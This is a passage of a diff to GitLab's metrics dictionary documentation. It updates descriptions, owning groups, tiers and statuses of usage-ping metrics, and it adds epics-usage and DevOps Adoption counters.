definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181258_jira_imports_total_imported_count.yml) -Group: `group::project management` +Group: `group::ecosystem` Status: `data_available` @@ -2746,11 +2734,11 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.jira_imports_total_imported_issues_count` -Count of Jira imports run +Count of total issues imported via the Jira Importer [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181301_jira_imports_total_imported_issues_count.yml) -Group: `group::project management` +Group: `group::ecosystem` Status: `data_available` @@ -2806,15 +2794,15 @@ Tiers: `premium`, `ultimate` ### `counts.label_lists` -Missing description +Count of label lists created on Boards [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181104_label_lists.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.labels` @@ -2822,7 +2810,7 @@ Count of Labels [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181111_labels.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` @@ -2950,27 +2938,27 @@ Tiers: `free` ### `counts.milestone_lists` -Missing description +Count of milestone lists created on Boards -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181106_milestone_lists.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181106_milestone_lists.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `counts.milestones` -Missing description +Count of milestones created [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181108_milestones.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.navbar_searches` @@ -3014,7 +3002,7 @@ Count of Notes across all objects that use them [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181113_notes.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` @@ -3730,7 +3718,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.projects` -Count of Projects +Count of Projects created [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181254_projects.yml) @@ -3738,7 +3726,7 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.projects_asana_active` @@ -5914,7 +5902,7 @@ Tiers: `free` ### `counts.todos` -Count of ToDos +Count of todos created [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181256_todos.yml) @@ -5930,7 +5918,7 @@ Count of Uploads via Notes and Descriptions [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181109_uploads.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` @@ -5940,7 +5928,7 @@ Tiers: `free`, `premium`, `ultimate` Count of users who set personal preference to see Details on Group overview page -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182203_user_preferences_group_overview_details.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182203_user_preferences_group_overview_details.yml) Group: `group::threat insights` @@ -5952,7 +5940,7 @@ Tiers: `ultimate` Count of users who set personal preference to see Security Dashboard on Group overview page -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182205_user_preferences_group_overview_security_dashboard.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182205_user_preferences_group_overview_security_dashboard.yml) Group: `group::threat insights` @@ -5998,7 +5986,7 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.web_ide_merge_requests` -Count of Merge Requests created from Web IDE +Count of merge requests created from Web IDE [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml) @@ -6118,15 +6106,15 @@ Tiers: `free` ### `counts_monthly.aggregated_metrics.i_testing_paid_monthly_active_user_total` -Missing description +Aggregated count of users who have engaged with a Premium or Ultimate tier testing feature per month. -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183209_i_testing_paid_monthly_active_user_total.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183209_i_testing_paid_monthly_active_user_total.yml) -Group: `` +Group: `group::testing` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `counts_monthly.aggregated_metrics.incident_management_alerts_total_unique_counts` @@ -6154,27 +6142,27 @@ Tiers: `free` ### `counts_monthly.aggregated_metrics.product_analytics_test_metrics_intersection` -Missing description +This was test metric used for purpose of assuring correct implementation of aggregated metrics feature [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183205_product_analytics_test_metrics_intersection.yml) -Group: `` +Group: `group::product intelligence` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts_monthly.aggregated_metrics.product_analytics_test_metrics_union` -Missing description +This was test metric used for purpose of assuring correct implementation of aggregated metrics feature [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183203_product_analytics_test_metrics_union.yml) -Group: `` +Group: `group::product intelligence` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts_monthly.deployments` @@ -6286,15 +6274,15 @@ Tiers: ### `counts_weekly.aggregated_metrics.i_testing_paid_monthly_active_user_total` -Missing description +Aggregated count of users who have engaged with a Premium or Ultimate tier testing feature per week. [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183219_i_testing_paid_monthly_active_user_total.yml) -Group: `` +Group: `group::testing` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `counts_weekly.aggregated_metrics.incident_management_alerts_total_unique_counts` @@ -6322,27 +6310,27 @@ Tiers: ### `counts_weekly.aggregated_metrics.product_analytics_test_metrics_intersection` -Missing description +This was test metric used for purpose of assuring correct implementation of aggregated metrics feature -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml) -Group: `` +Group: `group::product intelligence` -Status: `data_available` +Status: `removed` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `counts_weekly.aggregated_metrics.product_analytics_test_metrics_union` -Missing description +This was test metric used for purpose of assuring correct implementation of aggregated metrics feature -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml) -Group: `` +Group: `group::product intelligence` -Status: `data_available` +Status: `removed` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `database.adapter` @@ -6416,30 +6404,6 @@ Status: `data_available` Tiers: `premium`, `ultimate` -### `g_project_management_epic_created_monthly` - -Count of MAU creating epics - -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210305144719_g_product_planning_epic_created_monthly.yml) - -Group: `group::product planning` - -Status: `implemented` - -Tiers: `premium`, `ultimate` - -### `g_project_management_epic_created_weekly` - -Count of WAU creating epics - -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210305145820_g_product_planning_epic_created_weekly.yml) - -Group: `group::product planning` - -Status: `implemented` - -Tiers: `premium`, `ultimate` - ### `geo_enabled` Is Geo enabled? @@ -6616,7 +6580,7 @@ Whether or not ModSecurity is enabled within Ingress Group: `group::container security` -Status: `data_available` +Status: `deprecated` Tiers: `free`, `premium`, `ultimate` @@ -6804,9 +6768,9 @@ Tiers: `premium`, `ultimate` The value of the SMTP server that is used -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174829_smtp_server.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210216174829_smtp_server.yml) -Group: `group::acquisition` +Group: `group::activation` Status: `data_available` @@ -7182,7 +7146,7 @@ Group: `group::product intelligence` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `recording_ee_finished_at` @@ -7388,6 +7352,30 @@ Status: `data_available` Tiers: +### `redis_hll_counters.analytics.i_analytics_dev_ops_adoption_monthly` + +Counts visits to DevOps Adoption page per month + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210401092244_i_analytics_dev_ops_adoption_monthly.yml) + +Group: `group::optimize` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.analytics.i_analytics_dev_ops_adoption_weekly` + +Counts visits to DevOps Adoption page per week + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210401092244_i_analytics_dev_ops_adoption_weekly.yml) + +Group: `group::optimize` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + ### `redis_hll_counters.analytics.i_analytics_dev_ops_score_monthly` Missing description @@ -8308,7 +8296,7 @@ Count of unique users per month who changed assignees of a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8320,7 +8308,7 @@ Count of unique users per week who changed assignees of a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8524,7 +8512,7 @@ Count of unique users per month who changed labels of a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8536,7 +8524,7 @@ Count of unique users per week who changed labels of a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8596,7 +8584,7 @@ Count of unique users per month who changed milestone of a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8608,7 +8596,7 @@ Count of unique users per week who changed milestone of a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8620,7 +8608,7 @@ Count of unique users per month who locked a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8632,7 +8620,7 @@ Count of unique users per week who locked a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8644,7 +8632,7 @@ Count of unique users per month who unlocked a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8656,7 +8644,7 @@ Count of unique users per week who unlocked a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8812,7 +8800,7 @@ Count of unique users per month who changed reviewers of a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8824,7 +8812,7 @@ Count of unique users per week who changed reviewers of a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8860,7 +8848,7 @@ Count of unique users per month who changed time estimate of a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8872,7 +8860,7 @@ Count of unique users per week who changed time estimate of a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8884,7 +8872,7 @@ Count of unique users per month who changed time spent on a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -8896,7 +8884,7 @@ Count of unique users per week who changed time spent on a MR Group: `group::code review` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9604,7 +9592,7 @@ Calculated unique users to trigger a Slack message by performing an action on a Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9616,7 +9604,7 @@ Calculated unique users to trigger a Slack message by performing an action on a Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9628,7 +9616,7 @@ Calculated unique users to trigger a Slack message by creating a confidential no Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9640,7 +9628,7 @@ Calculated unique users to trigger a Slack message by creating a confidential no Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9652,7 +9640,7 @@ Calculated unique users to trigger a Slack message by performing a deployment by Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9664,7 +9652,7 @@ Calculated unique users to trigger a Slack message by performing a deployment by Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9676,7 +9664,7 @@ Calculated unique users to trigger a Slack message by performing an action on an Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9688,7 +9676,7 @@ Calculated unique users to trigger a Slack message by performing an action on an Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9700,7 +9688,7 @@ Calculated unique users to trigger a Slack message by performing an action on a Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9712,7 +9700,7 @@ Calculated unique users to trigger a Slack message by performing an action on a Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9724,7 +9712,7 @@ Calculated unique users to trigger a Slack message by creating a note by month Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9736,7 +9724,7 @@ Calculated unique users to trigger a Slack message by creating a note by week Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9748,7 +9736,7 @@ Calculated unique users to trigger a Slack message by performing a Git push by m Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9760,7 +9748,7 @@ Calculated unique users to trigger a Slack message by performing a Git push by w Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9772,7 +9760,7 @@ Calculated unique users to trigger a Slack message by performing a tag push by m Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9784,7 +9772,7 @@ Calculated unique users to trigger a Slack message by performing a tag push by w Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9796,7 +9784,7 @@ Calculated unique users to trigger a Slack message by performing an action on a Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -9808,10 +9796,562 @@ Calculated unique users to trigger a Slack message by performing an action on a Group: `group::ecosystem` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` +### `redis_hll_counters.epics_usage.epics_usage_total_unique_counts_monthly` + +Total monthly users count for epics_usage + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210318183733_epics_usage_total_unique_counts_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.epics_usage_total_unique_counts_weekly` + +Total weekly users count for epics_usage + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210318183220_epics_usage_total_unique_counts_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_closed_monthly` + +Counts of MAU closing epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210310163213_g_project_management_epic_closed_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_closed_weekly` + +Counts of WAU closing epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210310162703_g_project_management_epic_closed_weekly.yml) + +Group: `group::product planning` + +Status: `data_available` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_created_monthly` + +Count of MAU creating epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210305144719_g_product_planning_epic_created_monthly.yml) + +Group: `group::product planning` + +Status: `data_available` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_created_weekly` + +Count of WAU creating epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210305145820_g_product_planning_epic_created_weekly.yml) + +Group: `group::product planning` + +Status: `data_available` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_destroyed_monthly` + +Count of MAU destroying epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210413174710_g_project_management_epic_destroyed_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_destroyed_weekly` + +Count of WAU destroying epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210413174449_g_project_management_epic_destroyed_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_issue_added_monthly` + +Count of MAU adding issues to epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312144719_g_product_planning_epic_issue_added_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_issue_added_weekly` + +Count of WAU adding issues to epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312181918_g_product_planning_epic_issue_added_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_issue_moved_from_project_monthly` + +Counts of MAU moving epic issues between projects + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210405190240_g_project_management_epic_issue_moved_from_project_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_issue_moved_from_project_weekly` + +Counts of WAU moving epic issues between projects + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210405185814_g_project_management_epic_issue_moved_from_project_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_issue_removed_monthly` + +Count of MAU removing issues from epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210401183230_g_project_management_epic_issue_removed_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_issue_removed_weekly` + +Counts of WAU removing issues from epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210401182457_g_project_management_g_project_management_epic_issue_removed_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_reopened_monthly` + +Counts of MAU closing epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210310164247_g_project_management_epic_reopened_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_reopened_weekly` + +Counts of WAU re-opening epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210310164112_g_project_management_epic_reopened_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_users_changing_labels_monthly` + +Count of MAU chaging the epic lables + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312195730_g_project_management_epic_labels_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_epic_users_changing_labels_weekly` + +Count of WAU chaging the epic lables + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312195849_g_project_management_epic_labels_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_issue_promoted_to_epic_monthly` + +Count of MAU promoting issues to epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210331193236_g_project_management_issue_promoted_to_epic_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_issue_promoted_to_epic_weekly` + +Counts of WAU promoting issues to epics + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210331192332_g_project_management_issue_promoted_to_epic_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_creating_epic_notes_monthly` + +Counts of MAU adding epic notes + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210314215451_g_project_management_users_creating_epic_notes_monthly.yml) + +Group: `group::product planning` + +Status: `data_available` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_creating_epic_notes_weekly` + +Counts of WAU adding epic notes + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210314231518_g_project_management_users_creating_epic_notes_weekly.yml) + +Group: `group::product planning` + +Status: `data_available` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_destroying_epic_notes_monthly` + +Counts of MAU destroying epic notes + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210315034808_g_project_management_users_destroying_epic_notes_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_destroying_epic_notes_weekly` + +Counts of WAU destroying epic notes + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210315034846_g_project_management_users_destroying_epic_notes_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_confidential_monthly` + +Count of MAU making epics confidential + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210310203049_g_project_management_epic_confidential_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_confidential_weekly` + +Count of WAU making epics confidential + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210310203225_g_project_management_epic_confidential_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_due_date_as_fixed_monthly` + +Counts of MAU setting epic due date as inherited + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210325060507_g_project_management_users_setting_epic_due_date_as_fixed_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_due_date_as_fixed_weekly` + +Counts of WAU setting epic due date as fixed + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210325060623_g_project_management_users_setting_epic_due_date_as_fixed_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_due_date_as_inherited_monthly` + +Counts of MAU setting epic due date as inherited + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210325060315_g_project_management_users_setting_epic_due_date_as_inherited_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_due_date_as_inherited_weekly` + +Counts of WAU setting epic due date as inherited + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210325060903_g_project_management_users_setting_epic_due_date_as_inherited_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_start_date_as_fixed_monthly` + +Counts of MAU setting epic start date as fixed + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210315055624_g_project_management_users_setting_epic_start_date_as_fixed_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_start_date_as_fixed_weekly` + +Counts of WAU setting epic start date as fixed + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210315054905_g_project_management_users_setting_epic_start_date_as_fixed_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_start_date_as_inherited_monthly` + +Counts of MAU setting epic start date as inherited + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210315055439_g_project_management_users_setting_epic_start_date_as_inherited_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_start_date_as_inherited_weekly` + +Counts of WAU setting epic start date as inherited + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210315055342_g_project_management_users_setting_epic_start_date_as_inherited_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_visible_monthly` + +Count of MAU making epics visible + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312093611_g_project_management_epic_visible_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_visible_weekly` + +Count of WAU making epics visible + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312093243_g_poject_management_epic_visible_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_descriptions_monthly` + +Counts of MAU changing epic descriptions + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312102051_g_project_management_users_updating_epic_descriptions_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_descriptions_weekly` + +Counts of WAU changing epic descriptions + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312101753_g_project_management_users_updating_epic_descriptions_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_notes_monthly` + +Counts of MAU updating epic notes + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210314234202_g_project_management_users_updating_epic_notes_monthly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_notes_weekly` + +Counts of WAU updating epic notes + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210314234041_g_project_management_users_updating_epic_notes_weekly.yml) + +Group: `group::product planning` + +Status: `implemented` + +Tiers: `premium`, `ultimate` + +### 